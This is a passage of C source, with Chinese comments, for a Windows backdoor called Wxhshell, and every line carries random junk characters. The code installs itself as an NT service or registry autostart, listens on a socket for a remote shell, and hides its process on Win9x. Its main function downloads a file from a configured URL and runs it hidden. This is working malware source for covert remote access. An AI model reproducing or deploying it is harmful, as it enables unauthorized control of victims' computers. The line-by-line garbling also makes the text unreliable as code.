3<}r+, j
PROCNTQSIP NtQueryInformationProcess; |] ]Rp
nS]Ih 0(K
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o^+g2;Ro
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +7j7zpw
WTwura,
HANDLE hProcess; vGD D
PROCESS_BASIC_INFORMATION pbi; e]D TK*W~
~2O1$o u
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); TCK<IZKLqK
if(NULL == hInst ) return 0; 3($tD*!o
]~\%ANoi
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ef:YYt{|q
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B4w/cIj_
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HA~BXxa/
~--F?KUnL
if (!NtQueryInformationProcess) return 0; 'v_k#%
DxxY<OkN
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M~5Ja0N~
if(!hProcess) return 0; &o7"L;
X"S")BQ
q
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t?h\Af4Tf
2xt$w%
CloseHandle(hProcess); j Kp79].
:nxBM#:xu
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hf5+$^RZ
if(hProcess==NULL) return 0; yXCJ?
hh<ryuZ
HMODULE hMod; "2hs=^&8
char procName[255]; 0134mw%jk
unsigned long cbNeeded; BZk0B?
8Wx7%@^O
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !%>(O@~"|
%!OA/7XbG
CloseHandle(hProcess); j:[#eC
AV;x'H7G
if(strstr(procName,"services")) return 1; // 以服务启动 NH!x6p]n
K#[z5
return 0; // 注册表启动 $TFWum9wO
} imZ"4HnPP
0w?G&jjNtM
// 主模块 kNv/L$oG
int StartWxhshell(LPSTR lpCmdLine) 3EA`]&d>
{ h8:5[;e
SOCKET wsl; EOG&Xa
BOOL val=TRUE; T49^
int port=0; 5`{u! QE
struct sockaddr_in door; C |P(,Xp
Rz=wInFs
if(wscfg.ws_autoins) Install(); ilkN3J
^) 5*?8#
port=atoi(lpCmdLine); dd!Q[]$ }
C$^WW}S
if(port<=0) port=wscfg.ws_port; m-HBoN
7X/KQ97
WSADATA data; ZW`wA2R0
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1_5]3+r_U-
b}Wm-]|+
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; hus k\
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q82yh&
door.sin_family = AF_INET; AzFS6<_
door.sin_addr.s_addr = inet_addr("127.0.0.1"); IAb-O
door.sin_port = htons(port); =90)=Pxd
M Jtn)gXb
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2\9OT>
closesocket(wsl); f<*-;
return 1; xGt>X77
}
8RU91H8fE
7>xfQ
if(listen(wsl,2) == INVALID_SOCKET) { g!!:o(k
closesocket(wsl); U&u~i
3
return 1; :KBy(}V
} gi<%: [jT
Wxhshell(wsl); <Eh_
WSACleanup(); WU{9lL=
mEq>{l:
return 0; ~o8x3`CoF
[k
} h:{^&d
a
e6_`
// 以NT服务方式启动 G!g];7PG(
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `_ )5K u}
{ A9ZK :i7
DWORD status = 0; !'8jy_<9
DWORD specificError = 0xfffffff; Z>J3DH
V7$-4%NL
serviceStatus.dwServiceType = SERVICE_WIN32; c!J|vRA5
serviceStatus.dwCurrentState = SERVICE_START_PENDING; -Rj3cx
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f- ~]
serviceStatus.dwWin32ExitCode = 0; h?-M+Ac
serviceStatus.dwServiceSpecificExitCode = 0; tiTh7qYi9
serviceStatus.dwCheckPoint = 0; /9SNXjfbt
serviceStatus.dwWaitHint = 0; cb%ML1c
:?H1h8wbCt
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gCv[AIE_m
if (hServiceStatusHandle==0) return; \x=!'
/R[PsB
status = GetLastError(); EL;OYW(
if (status!=NO_ERROR) ]vZ}4Xno
{ & hv@ &
serviceStatus.dwCurrentState = SERVICE_STOPPED; %QFeQ(b/(
serviceStatus.dwCheckPoint = 0; ##/ l
serviceStatus.dwWaitHint = 0; ]`TX%Qni
serviceStatus.dwWin32ExitCode = status; o5< w2(
serviceStatus.dwServiceSpecificExitCode = specificError; N3@gvS
SetServiceStatus(hServiceStatusHandle, &serviceStatus); dW#?{n-H<
return; T)*tCp]
} Q6=>*}Cm6m
\bv JZ_
serviceStatus.dwCurrentState = SERVICE_RUNNING; 8o[+>W
serviceStatus.dwCheckPoint = 0; 9[Xe|5?c
serviceStatus.dwWaitHint = 0; oZ!+._9
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); drh,=M\F
} zN7Ou .
xHWD1>
// 处理NT服务事件,比如:启动、停止 'Ad |*~
VOID WINAPI NTServiceHandler(DWORD fdwControl) %p
tw=Ju
{ ts;C:.X
switch(fdwControl) XA-,
{ 1'SpJL1u~
case SERVICE_CONTROL_STOP: #An_RU6h
serviceStatus.dwWin32ExitCode = 0; wo_iCjmK
serviceStatus.dwCurrentState = SERVICE_STOPPED; L?r\J8Ch<
serviceStatus.dwCheckPoint = 0; p@%H.
5&&
serviceStatus.dwWaitHint = 0; Y$nI9
{ .oz(,$CS"
SetServiceStatus(hServiceStatusHandle, &serviceStatus); fx= %e
} `;z;=A*
return; Zie t-@}
case SERVICE_CONTROL_PAUSE:
4B'-tV
serviceStatus.dwCurrentState = SERVICE_PAUSED; =xRxr@
break; y+P$}Nru
case SERVICE_CONTROL_CONTINUE: {#H'K*j{
serviceStatus.dwCurrentState = SERVICE_RUNNING; 7` IO mTk
break;
bC%}1wwh
case SERVICE_CONTROL_INTERROGATE: bVYsPS
break; c$~J7e6$
}; x}H%NzR
SetServiceStatus(hServiceStatusHandle, &serviceStatus); m9Hdg^L
} <x\I*%(
?CZ*MMV
// 标准应用程序主函数 KhPDkD-
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) QS2~}{v
{ ]hlYmT
}R)A%FKi@
// 获取操作系统版本 S")*~)N@
OsIsNt=GetOsVer(); YveNsn
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6Y/TqI[
|n\(I$
// 从命令行安装 psB9~EU&Q
if(strpbrk(lpCmdLine,"iI")) Install(); =pn(56
`sJv?
// 下载执行文件 n^k Uu2g|
if(wscfg.ws_downexe) { W0KSLxM
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E?F?)!%
WinExec(wscfg.ws_filenam,SW_HIDE); rI4N3d;C
} _43 :1!os
3R ZD=`
if(!OsIsNt) { znu[i&\=
// 如果时win9x,隐藏进程并且设置为注册表启动 i`" L?3T
HideProc(); JsbH'l
StartWxhshell(lpCmdLine); (Q ~<>
} ZIvP?:=!
else I>45xVA
if(StartFromService()) q?Av5TFf
// 以服务方式启动 'tun;Y
StartServiceCtrlDispatcher(DispatchTable); p$bR M`R&s
else <!I^ xo[
// 普通方式启动 dJUI.!hv;
StartWxhshell(lpCmdLine); `&qeSEs\
J7s\
return 0; c9axzg
UA
}